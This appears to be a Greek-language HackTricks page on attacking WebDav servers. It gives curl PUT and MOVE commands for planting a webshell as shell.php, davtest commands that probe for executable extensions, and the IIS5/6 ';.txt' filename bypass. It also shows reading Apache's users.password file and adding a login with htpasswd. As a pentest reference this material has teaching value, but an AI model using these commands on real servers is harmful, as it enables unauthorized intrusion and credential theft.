# WebDav {{#include ../../banners/hacktricks-training.md}} Όταν ασχολείστε με έναν **HTTP Server με ενεργοποιημένο το WebDav**, είναι δυνατόν να **χειριστείτε αρχεία** αν έχετε τα σωστά **διαπιστευτήρια**, που συνήθως επαληθεύονται μέσω **HTTP Basic Authentication**. Η απόκτηση ελέγχου σε έναν τέτοιο server συχνά περιλαμβάνει την **ανάρτηση και εκτέλεση ενός webshell**. Η πρόσβαση στον server WebDav συνήθως απαιτεί **έγκυρα διαπιστευτήρια**, με το [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) να είναι μια κοινή μέθοδος για την απόκτησή τους. Για να ξεπεράσετε περιορισμούς στην ανάρτηση αρχείων, ειδικά εκείνους που αποτρέπουν την εκτέλεση server-side scripts, μπορείτε να: - **Ανεβάσετε** αρχεία με **εκτελέσιμες επεκτάσεις** απευθείας αν δεν περιορίζονται. - **Μετονομάσετε** τα ανεβασμένα μη εκτελέσιμα αρχεία (όπως .txt) σε εκτελέσιμη επέκταση. - **Αντιγράψετε** τα ανεβασμένα μη εκτελέσιμα αρχεία, αλλάζοντας την επέκτασή τους σε μία που είναι εκτελέσιμη. ## DavTest **Davtest** προσπαθεί να **ανεβάσει αρκετά αρχεία με διαφορετικές επεκτάσεις** και **ελέγχει** αν η επέκταση είναι **εκτελέσιμη**: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` ![](<../../images/image (851).png>) Αυτό δεν σημαίνει ότι οι **.txt** και **.html επεκτάσεις εκτελούνται**. Αυτό σημαίνει ότι μπορείτε να **έχετε πρόσβαση σε αυτά τα αρχεία** μέσω του διαδικτύου. ## Cadaver Μπορείτε να χρησιμοποιήσετε αυτό το εργαλείο για να **συνδεθείτε στον WebDav** διακομιστή και να εκτελέσετε ενέργειες (όπως **ανέβασμα**, **μετακίνηση** ή **διαγραφή**) **χειροκίνητα**. ``` cadaver ``` ## Αίτημα PUT ``` curl -T 'shell.txt' 'http://$ip' ``` ## Αίτημα MOVE ```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Vulnerability Αυτή η ευπάθεια είναι πολύ ενδιαφέρουσα. Το **WebDav** **δεν επιτρέπει** να **ανεβάσετε** ή να **μετονομάσετε** αρχεία με την επέκταση **.asp**. Αλλά μπορείτε να **παρακάμψετε** αυτό **προσθέτοντας** στο τέλος του ονόματος **";.txt"** και το αρχείο θα **εκτελείται** σαν να ήταν αρχείο .asp (μπορείτε επίσης να **χρησιμοποιήσετε ".html" αντί για ".txt"** αλλά **ΜΗΝ ξεχάσετε το ";"**). Έτσι μπορείτε να **ανεβάσετε** το shell σας ως αρχείο ".**txt"** και να **αντιγράψετε/μετακινήσετε το σε ένα αρχείο ".asp;.txt"**. Όταν αποκτήσετε πρόσβαση σε αυτό το αρχείο μέσω του web server, θα **εκτελείται** (το cadaver θα πει ότι η ενέργεια μεταφοράς δεν λειτούργησε, αλλά λειτούργησε). ![](<../../images/image (1092).png>) ## Post credentials Αν το Webdav χρησιμοποιούσε έναν Apache server, θα πρέπει να κοιτάξετε τις ρυθμισμένες τοποθεσίες στον Apache. Συνήθως:\ \&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ Μέσα σε αυτό μπορείτε να βρείτε κάτι σαν: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav DAV On AuthType Digest AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` Όπως μπορείτε να δείτε, υπάρχουν τα αρχεία με τα έγκυρα **credentials** για τον **webdav** διακομιστή: ``` /etc/apache2/users.password ``` Μέσα σε αυτούς τους τύπους αρχείων θα βρείτε το **username** και ένα **hash** του κωδικού πρόσβασης. Αυτά είναι τα διαπιστευτήρια που χρησιμοποιεί ο διακομιστής webdav για να πιστοποιεί τους χρήστες. Μπορείτε να προσπαθήσετε να **crack** τα διαπιστευτήρια, ή να **add more** αν για κάποιο λόγο θέλετε να **access** τον διακομιστή **webdav**: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` Για να ελέγξετε αν τα νέα διαπιστευτήρια λειτουργούν, μπορείτε να κάνετε: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` ## Αναφορές - [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/) {{#include ../../banners/hacktricks-training.md}}